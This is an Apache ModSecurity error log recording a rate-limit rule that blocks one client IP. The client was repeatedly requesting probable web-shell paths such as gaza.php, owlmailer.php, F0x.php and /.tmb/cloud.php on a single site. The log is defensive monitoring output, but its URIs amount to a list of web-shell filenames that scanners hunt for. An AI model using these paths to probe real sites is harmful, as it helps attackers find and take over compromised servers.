[Mon Apr 13 05:41:48.879410 2026] [:error] [pid 11325:tid 11331] [client 4.204.201.44:64206] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu.php"] [unique_id "adwRnOCGj3EEJtCwa0ORpwAAAQQ"]
[Mon Apr 13 05:41:49.313411 2026] [:error] [pid 34048:tid 34067] [client 4.204.201.44:62379] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu.php"] [unique_id "adwRnfSiQ_PJjlY5Ehz2pQAAANE"]
[Mon Apr 13 05:41:49.827382 2026] [:error] [pid 33943:tid 34006] [client 4.204.201.44:63686] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "adwRnayoXuZjocnxM5Fq3QAAAIA"]
[Mon Apr 13 05:41:50.397404 2026] [:error] [pid 11325:tid 11338] [client 4.204.201.44:65140] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "adwRnuCGj3EEJtCwa0ORrAAAAQs"]
[Mon Apr 13 05:41:50.819321 2026] [:error] [pid 34048:tid 34053] [client 4.204.201.44:64155] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "adwRnvSiQ_PJjlY5Ehz2qAAAAMM"]
[Mon Apr 13 05:41:51.326166 2026] [:error] [pid 33942:tid 33979] [client 4.204.201.44:61443] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs.php"] [unique_id "adwRnxNHe8geO_lMeFacQAAAAEA"]
[Mon Apr 13 05:41:51.777584 2026] [:error] [pid 33942:tid 34001] [client 4.204.201.44:63650] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/cache.php"] [unique_id "adwRnxNHe8geO_lMeFacQwAAAFY"]
[Mon Apr 13 05:41:52.207459 2026] [:error] [pid 34048:tid 34060] [client 4.204.201.44:62384] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/cache.php"] [unique_id "adwRoPSiQ_PJjlY5Ehz2qwAAAMo"]
[Mon Apr 13 05:41:52.640214 2026] [:error] [pid 11325:tid 11339] [client 4.204.201.44:63672] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/cache.php"] [unique_id "adwRoOCGj3EEJtCwa0ORsgAAAQw"]
[Mon Apr 13 05:41:53.093465 2026] [:error] [pid 11325:tid 11343] [client 4.204.201.44:63652] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/cache.php"] [unique_id "adwRoeCGj3EEJtCwa0ORuAAAARA"]
[Mon Apr 13 05:41:53.595813 2026] [:error] [pid 33941:tid 33960] [client 4.204.201.44:61468] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "adwRoW_NKERAxgG-rYM48gAAAAk"]
[Mon Apr 13 05:41:54.036580 2026] [:error] [pid 33942:tid 33985] [client 4.204.201.44:64144] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "adwRohNHe8geO_lMeFacRQAAAEY"]
[Mon Apr 13 05:41:54.477918 2026] [:error] [pid 33942:tid 34002] [client 4.204.201.44:63740] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "adwRohNHe8geO_lMeFacRgAAAFc"]
[Mon Apr 13 05:41:54.936948 2026] [:error] [pid 33943:tid 34008] [client 4.204.201.44:63737] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "adwRoqyoXuZjocnxM5Fq4QAAAII"]
[Mon Apr 13 05:41:55.382330 2026] [:error] [pid 33943:tid 34020] [client 4.204.201.44:63674] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/XX.php"] [unique_id "adwRo6yoXuZjocnxM5Fq5AAAAI4"]
[Mon Apr 13 05:41:55.812138 2026] [:error] [pid 33943:tid 34010] [client 4.204.201.44:64240] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/XX.php"] [unique_id "adwRo6yoXuZjocnxM5Fq5QAAAIQ"]
[Mon Apr 13 05:41:56.278073 2026] [:error] [pid 33942:tid 33980] [client 4.204.201.44:63620] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/XX.php"] [unique_id "adwRpBNHe8geO_lMeFacTAAAAEE"]
[Mon Apr 13 05:41:56.695572 2026] [:error] [pid 11325:tid 11330] [client 4.204.201.44:61473] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/XX.php"] [unique_id "adwRpOCGj3EEJtCwa0ORwQAAAQM"]
[Mon Apr 13 05:41:57.165168 2026] [:error] [pid 33942:tid 33998] [client 4.204.201.44:62356] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php/sts.php"] [unique_id "adwRpRNHe8geO_lMeFacTQAAAFM"]
[Mon Apr 13 05:41:57.592640 2026] [:error] [pid 11325:tid 11349] [client 4.204.201.44:64212] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php/sts.php"] [unique_id "adwRpeCGj3EEJtCwa0ORxAAAARY"]
[Mon Apr 13 05:41:58.048795 2026] [:error] [pid 11325:tid 11331] [client 4.204.201.44:64189] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php/sts.php"] [unique_id "adwRpuCGj3EEJtCwa0ORxgAAAQQ"]
[Mon Apr 13 05:41:58.500779 2026] [:error] [pid 11325:tid 11343] [client 4.204.201.44:62350] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php/sts.php"] [unique_id "adwRpuCGj3EEJtCwa0ORyQAAARA"]
[Mon Apr 13 05:41:58.935496 2026] [:error] [pid 11325:tid 11328] [client 4.204.201.44:62395] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/cloud.php"] [unique_id "adwRpuCGj3EEJtCwa0ORzAAAAQE"]
[Mon Apr 13 05:41:59.365645 2026] [:error] [pid 33943:tid 34028] [client 4.204.201.44:62447] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/cloud.php"] [unique_id "adwRp6yoXuZjocnxM5Fq6wAAAJY"]
[Mon Apr 13 05:41:59.815840 2026] [:error] [pid 33943:tid 34008] [client 4.204.201.44:65059] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/cloud.php"] [unique_id "adwRp6yoXuZjocnxM5Fq7gAAAII"]
[Mon Apr 13 05:42:00.270080 2026] [:error] [pid 33943:tid 34020] [client 4.204.201.44:65117] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/cloud.php"] [unique_id "adwRqKyoXuZjocnxM5Fq8AAAAI4"]
[Mon Apr 13 05:42:00.745661 2026] [:error] [pid 34048:tid 34052] [client 4.204.201.44:61541] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owlmailer.php"] [unique_id "adwRqPSiQ_PJjlY5Ehz2rgAAAMI"]
[Mon Apr 13 05:42:01.247754 2026] [:error] [pid 33942:tid 33985] [client 4.204.201.44:61532] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owlmailer.php"] [unique_id "adwRqRNHe8geO_lMeFacUQAAAEY"]
[Mon Apr 13 05:42:01.785927 2026] [:error] [pid 11325:tid 11341] [client 4.204.201.44:61508] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owlmailer.php"] [unique_id "adwRqeCGj3EEJtCwa0OR0AAAAQ4"]
[Mon Apr 13 05:42:02.200880 2026] [:error] [pid 11325:tid 11348] [client 4.204.201.44:64221] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owlmailer.php"] [unique_id "adwRquCGj3EEJtCwa0OR0gAAARU"]
[Mon Apr 13 05:42:02.623072 2026] [:error] [pid 33943:tid 34012] [client 4.204.201.44:63708] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/F0x.php"] [unique_id "adwRqqyoXuZjocnxM5Fq9AAAAIY"]
[Mon Apr 13 05:42:03.070946 2026] [:error] [pid 33943:tid 34030] [client 4.204.201.44:62455] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/F0x.php"] [unique_id "adwRq6yoXuZjocnxM5Fq9gAAAJg"]
[Mon Apr 13 05:42:03.572301 2026] [:error] [pid 33943:tid 34029] [client 4.204.201.44:64250] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/F0x.php"] [unique_id "adwRq6yoXuZjocnxM5Fq-AAAAJc"]
[Mon Apr 13 05:42:04.002695 2026] [:error] [pid 33942:tid 33986] [client 4.204.201.44:64172] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/F0x.php"] [unique_id "adwRrBNHe8geO_lMeFacVAAAAEc"]
[Mon Apr 13 05:42:04.456833 2026] [:error] [pid 34048:tid 34065] [client 4.204.201.44:60967] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rlpc.php"] [unique_id "adwRrPSiQ_PJjlY5Ehz2sQAAAM8"]
[Mon Apr 13 05:42:04.949604 2026] [:error] [pid 34048:tid 34057] [client 4.204.201.44:64142] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rlpc.php"] [unique_id "adwRrPSiQ_PJjlY5Ehz2swAAAMc"]
[Mon Apr 13 05:42:05.390463 2026] [:error] [pid 33941:tid 33957] [client 4.204.201.44:61544] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rlpc.php"] [unique_id "adwRrW_NKERAxgG-rYM5IgAAAAc"]
[Mon Apr 13 05:42:05.946323 2026] [:error] [pid 34048:tid 34074] [client 4.204.201.44:64200] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rlpc.php"] [unique_id "adwRrfSiQ_PJjlY5Ehz2tQAAANg"]
[Mon Apr 13 05:42:06.419012 2026] [:error] [pid 11325:tid 11345] [client 4.204.201.44:61479] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p.php7"] [unique_id "adwRruCGj3EEJtCwa0OR3gAAARI"]
[Mon Apr 13 05:42:06.869079 2026] [:error] [pid 33941:tid 33967] [client 4.204.201.44:62421] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p.php7"] [unique_id "adwRrm_NKERAxgG-rYM5KAAAABA"]
[Mon Apr 13 05:42:07.415310 2026] [:error] [pid 33943:tid 34028] [client 4.204.201.44:62460] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p.php7"] [unique_id "adwRr6yoXuZjocnxM5Fq_wAAAJY"]
[Mon Apr 13 05:42:07.934657 2026] [:error] [pid 11325:tid 11336] [client 4.204.201.44:63741] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p.php7"] [unique_id "adwRr-CGj3EEJtCwa0OR5AAAAQk"]
[Mon Apr 13 05:42:08.439204 2026] [:error] [pid 33942:tid 33990] [client 4.204.201.44:63718] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sale.php"] [unique_id "adwRsBNHe8geO_lMeFacVwAAAEs"]
[Mon Apr 13 05:42:08.886011 2026] [:error] [pid 11325:tid 11348] [client 4.204.201.44:61006] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sale.php"] [unique_id "adwRsOCGj3EEJtCwa0OR5gAAARU"]
[Mon Apr 13 05:42:09.333211 2026] [:error] [pid 33943:tid 34029] [client 4.204.201.44:63738] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sale.php"] [unique_id "adwRsayoXuZjocnxM5FrAAAAAJc"]
[Mon Apr 13 05:42:09.849967 2026] [:error] [pid 33943:tid 34020] [client 4.204.201.44:64171] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sale.php"] [unique_id "adwRsayoXuZjocnxM5FrAQAAAI4"]
[Mon Apr 13 05:42:10.372501 2026] [:error] [pid 33943:tid 34015] [client 4.204.201.44:61440] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ran.php"] [unique_id "adwRsqyoXuZjocnxM5FrAgAAAIk"]
[Mon Apr 13 05:42:10.974968 2026] [:error] [pid 33942:tid 33982] [client 4.204.201.44:60996] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ran.php"] [unique_id "adwRshNHe8geO_lMeFacYAAAAEM"]
[Mon Apr 13 05:42:11.433472 2026] [:error] [pid 33942:tid 33988] [client 4.204.201.44:60120] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ran.php"] [unique_id "adwRsxNHe8geO_lMeFacYQAAAEk"]
[Mon Apr 13 05:42:12.083186 2026] [:error] [pid 34048:tid 34066] [client 4.204.201.44:65089] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ran.php"] [unique_id "adwRtPSiQ_PJjlY5Ehz2ugAAANA"]
[Mon Apr 13 05:42:12.548338 2026] [:error] [pid 33942:tid 33995] [client 4.204.201.44:62369] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k90.php"] [unique_id "adwRtBNHe8geO_lMeFacYgAAAFA"]
[Mon Apr 13 05:42:13.062461 2026] [:error] [pid 34048:tid 34060] [client 4.204.201.44:63623] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k90.php"] [unique_id "adwRtfSiQ_PJjlY5Ehz2uwAAAMo"]
[Mon Apr 13 05:42:13.552576 2026] [:error] [pid 33942:tid 33998] [client 4.204.201.44:59744] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k90.php"] [unique_id "adwRtRNHe8geO_lMeFacZwAAAFM"]
[Mon Apr 13 05:42:13.977904 2026] [:error] [pid 11325:tid 11327] [client 4.204.201.44:62355] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k90.php"] [unique_id "adwRteCGj3EEJtCwa0OR6wAAAQA"]
[Mon Apr 13 05:42:14.436025 2026] [:error] [pid 11325:tid 11340] [client 4.204.201.44:63665] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/taff.php"] [unique_id "adwRtuCGj3EEJtCwa0OR7AAAAQ0"]
[Mon Apr 13 05:42:14.856142 2026] [:error] [pid 34048:tid 34064] [client 4.204.201.44:63682] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/taff.php"] [unique_id "adwRtvSiQ_PJjlY5Ehz2vAAAAM4"]
